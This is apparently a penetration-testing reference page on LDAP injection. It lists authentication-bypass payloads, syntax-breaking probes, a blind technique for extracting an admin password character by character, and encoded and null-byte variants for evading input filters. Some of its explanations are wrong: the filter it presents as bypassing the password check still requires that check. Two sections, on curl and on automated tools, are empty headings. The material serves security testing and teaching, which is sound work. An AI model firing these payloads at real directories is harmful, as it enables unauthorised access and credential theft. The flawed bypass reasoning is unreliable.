LDAP Injection – Auth Bypass and Data Extraction
LDAP injection occurs when user input is concatenated directly into an LDAP filter without sanitization. The impact depends on where the injection lands — authentication bypass, data extraction, or forced filter modification. It is most commonly found in web applications that authenticate against an LDAP directory or search it based on user input.
How LDAP filters work
A vulnerable login form typically constructs a filter like this on the backend:
# Vulnerable filter construction
filter = "(&(uid=" + username + ")(password=" + password + "))"
# With legitimate input uid=admin, password=secret:
(&(uid=admin)(password=secret))
# With injected input uid=admin)(&) password=anything:
(&(uid=admin)(&)(password=anything))
# The (&) always evaluates true — password check is bypassed
Authentication bypass payloads
These payloads target login forms that construct LDAP filters from user-supplied credentials. The goal is to make the filter evaluate to true regardless of the actual password.
# Username field payloads — inject into the uid or cn parameter
* # wildcard — matches any user
admin)(&) # closes uid clause, appends always-true condition
admin)(|(password=*) # OR condition — true if any password exists
*)(uid=*))(|(uid=* # classic bypass for (&(uid=X)(pass=Y)) filters
# Combined username + password bypass
Username: admin)(&)
Password: anything
# Results in: (&(uid=admin)(&)(password=anything))
# (&) is always true — auth bypassed as admin
# Wildcard login — authenticates as first user in directory
Username: *
Password: *
Testing for LDAP injection
Inject special characters and observe the response. Error messages, timing differences, or unexpected successful logins all indicate injection is possible.
# Characters that break LDAP filter syntax — inject one at a time
*
(
)
\
/
NUL (0x00)
# If injecting * into a search field returns all results instead of
# filtered results, the parameter is injectable
# If injecting ) causes an application error or different response
# compared to a normal character, the parameter is injectable
Blind LDAP injection — boolean-based data extraction
When there is no visible output, use boolean-based injection to extract data character by character. The technique relies on two payloads that produce different application responses — one true condition and one false condition.
# Target: search field that constructs (&(objectClass=user)(cn=INPUT))
# True condition — application shows results
*)(objectClass=*
# Resulting filter: (&(objectClass=user)(cn=*)(objectClass=*))
# False condition — application shows no results
INVALID)(objectClass=INVALID
# Resulting filter: (&(objectClass=user)(cn=INVALID)(objectClass=INVALID))
# Extract first character of admin password
# True if password starts with 'a':
admin)(password=a*
# Results in: (&(objectClass=user)(cn=admin)(password=a*))
# Iterate through characters to extract full value
admin)(password=a* # true
admin)(password=b* # false
admin)(password=c* # false
# ... continue until full password is extracted
Filter bypass — encoding and obfuscation
Some applications filter obvious injection characters. Use LDAP encoding to bypass simple input sanitization.
# LDAP special character encoding
* → \2a
( → \28
) → \29
\ → \5c
NUL → \00
# Encoded bypass examples
\2a # encoded wildcard
admin\29\28\26\29 # encoded admin)(&)
# NULL byte injection — may terminate filter early in some implementations
admin\00
# Case variation (LDAP is case-insensitive for attribute names)
(UID=admin)
(uId=admin)
(Uid=admin)
Testing with curl
When you have identified an injectable parameter in a web application, test payloads systematically via curl rather than the browser to avoid URL encoding interference.
Automated testing with tools
References
-
LDAP Injection — OWASPowasp.org/www-community/attacks/LDAP_Injection (opens in new tab)
Attack description, filter mechanics, and prevention guidance
-
SecLists LDAP Fuzzing Wordlists — GitHubgithub.com/danielmiessler/SecLists/tree/master/Fuzzing (opens in new tab)
LDAP injection payload lists for Burp and manual testing
Was this helpful?
Your feedback helps improve this page.